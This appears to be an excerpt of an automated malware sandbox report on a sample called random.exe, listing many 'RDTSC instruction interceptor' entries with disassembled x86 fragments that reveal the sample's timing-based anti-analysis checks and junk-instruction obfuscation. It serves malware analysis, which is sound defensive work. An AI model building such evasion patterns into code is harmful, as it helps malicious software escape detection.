Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 519303 second address: 519309 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 518284 second address: 51830D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D237Ch], ecx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 jmp 00007F8A48B4BD71h 0x0000001c sbb di, 21C3h 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 mov dword ptr [ebp+12468854h], esi 0x0000002e mov eax, dword ptr [ebp+122D1291h] 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F8A48B4BD68h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e sbb edi, 49E4680Fh 0x00000054 sub edi, dword ptr [ebp+122D19E6h] 0x0000005a mov dword ptr [ebp+122D2AFFh], ecx 0x00000060 push FFFFFFFFh 0x00000062 mov dword ptr [ebp+122D25AAh], esi 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d je 00007F8A48B4BD66h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51830D second address: 518313 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51C12B second address: 51C131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51C131 second address: 51C155 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51C155 second address: 51C159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51C159 second address: 51C15F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51C15F second address: 51C179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A48B4BD76h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51D27D second address: 51D28A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F8A48DE77C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51D512 second address: 51D518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51D518 second address: 51D525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51D525 second address: 51D52B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51D52B second address: 51D52F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51E564 second address: 51E568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 51E621 second address: 51E62B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 525C2A second address: 525C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8A48B4BD66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4B2838 second address: 4B283C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4B283C second address: 4B2845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 527313 second address: 527317 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 52B3A8 second address: 52B3AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 52B3AE second address: 52B3B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 52B3B2 second address: 52B3D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8A48B4BD71h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 52B3D1 second address: 52B40D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jp 00007F8A48DE77E9h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 52B40D second address: 52B412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 531A20 second address: 531A30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F8A48DE77C6h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 53215D second address: 53217C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8A48B4BD76h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5322D0 second address: 5322D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 532448 second address: 53245D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8A48B4BD66h 0x00000008 jnl 00007F8A48B4BD66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 537629 second address: 53765B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8A48DE77D6h 0x00000010 jmp 00007F8A48DE77CAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 53765B second address: 537674 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD74h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5377B6 second address: 5377BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5377BC second address: 5377CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 jbe 00007F8A48B4BD66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 53793F second address: 537944 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 537944 second address: 53795F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop esi 0x0000000d jnl 00007F8A48B4BD6Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 53795F second address: 537964 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 537C32 second address: 537C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 53D334 second address: 53D347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A48DE77CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 53D79C second address: 53D7AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 je 00007F8A48B4BD66h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 53D8F4 second address: 53D900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8A48DE77C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 53D900 second address: 53D922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8A48B4BD66h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8A48B4BD73h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 53D922 second address: 53D92C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8A48DE77C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 541405 second address: 541409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50B067 second address: 50B0CD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8A48DE77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F8A48DE77D1h 0x00000010 xchg eax, esi 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F8A48DE77C8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b jno 00007F8A48DE77CDh 0x00000031 nop 0x00000032 jmp 00007F8A48DE77D6h 0x00000037 push eax 0x00000038 push edi 0x00000039 push ecx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50B96E second address: 50B978 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50B978 second address: 50B97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50B80F second address: 50B813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5416EA second address: 541704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 541704 second address: 54170A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 541A1E second address: 541A4A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8A48DE77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pushad 0x0000000c jnc 00007F8A48DE77CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jmp 00007F8A48DE77D0h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 541D2E second address: 541D32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 541D32 second address: 541D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A48DE77D7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 543D1C second address: 543D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 543D20 second address: 543D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 543D26 second address: 543D31 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F8A48B4BD66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 546FA1 second address: 546FD5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F8A48DE77E5h 0x0000000e jmp 00007F8A48DE77D9h 0x00000013 jno 00007F8A48DE77C6h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 546FD5 second address: 546FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A48B4BD70h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 546FE9 second address: 546FF5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8A48DE77C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 54B98A second address: 54B997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 jnl 00007F8A48B4BD66h 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 54E4B2 second address: 54E4BF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8A48DE77C8h 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 54E717 second address: 54E725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 555A27 second address: 555A2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 555A2D second address: 555A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007F8A48B4BD66h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 jns 00007F8A48B4BD7Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 555A5C second address: 555A73 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pushad 0x00000007 jnl 00007F8A48DE77C6h 0x0000000d push eax 0x0000000e pop eax 0x0000000f jbe 00007F8A48DE77C6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5550D0 second address: 5550D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 555710 second address: 555716 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 555716 second address: 55571E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 55571E second address: 55575B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F8A48DE77CAh 0x0000000f push edi 0x00000010 pop edi 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jnc 00007F8A48DE77CCh 0x0000001c pushad 0x0000001d jmp 00007F8A48DE77CCh 0x00000022 jnc 00007F8A48DE77C6h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 55575B second address: 555777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8A48B4BD75h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 555777 second address: 55577B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5591DD second address: 5591E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5591E3 second address: 5591F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F8A48DE77C8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 5591F4 second address: 559203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 jnl 00007F8A48B4BD66h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 559504 second address: 559508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 559673 second address: 559677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 55E283 second address: 55E28D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8A48DE77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 55E28D second address: 55E29F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8A48B4BD6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 55E29F second address: 55E2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50B575 second address: 50B57A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50B63D second address: 50B64F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8A48DE77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50B64F second address: 50B680 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8A48B4BD6Ch 0x00000008 jl 00007F8A48B4BD66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 jno 00007F8A48B4BD6Ch 0x00000017 push 00000004h 0x00000019 mov edi, dword ptr [ebp+122D2794h] 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jl 00007F8A48B4BD66h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 50B680 second address: 50B685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 55F5AE second address: 55F5D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnl 00007F8A48B4BD66h 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8A48B4BD70h 0x00000015 jnc 00007F8A48B4BD66h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 565E7A second address: 565E93 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8A48DE77D1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 565E93 second address: 565E97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 566440 second address: 56646D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A48DE77D2h 0x00000009 jmp 00007F8A48DE77D6h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 56646D second address: 56647C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jng 00007F8A48B4BD66h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 56673E second address: 566745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 566745 second address: 566758 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8A48B4BD6Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 566A75 second address: 566AAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8A48DE77CFh 0x00000008 js 00007F8A48DE77C6h 0x0000000e jmp 00007F8A48DE77D8h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 566AAA second address: 566AC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48B4BD73h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 56AF55 second address: 56AF5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 56B22F second address: 56B243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8A48B4BD66h 0x0000000a popad 0x0000000b pushad 0x0000000c jnc 00007F8A48B4BD66h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 56B243 second address: 56B262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8A48DE77D4h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 56B262 second address: 56B266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 56B684 second address: 56B688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
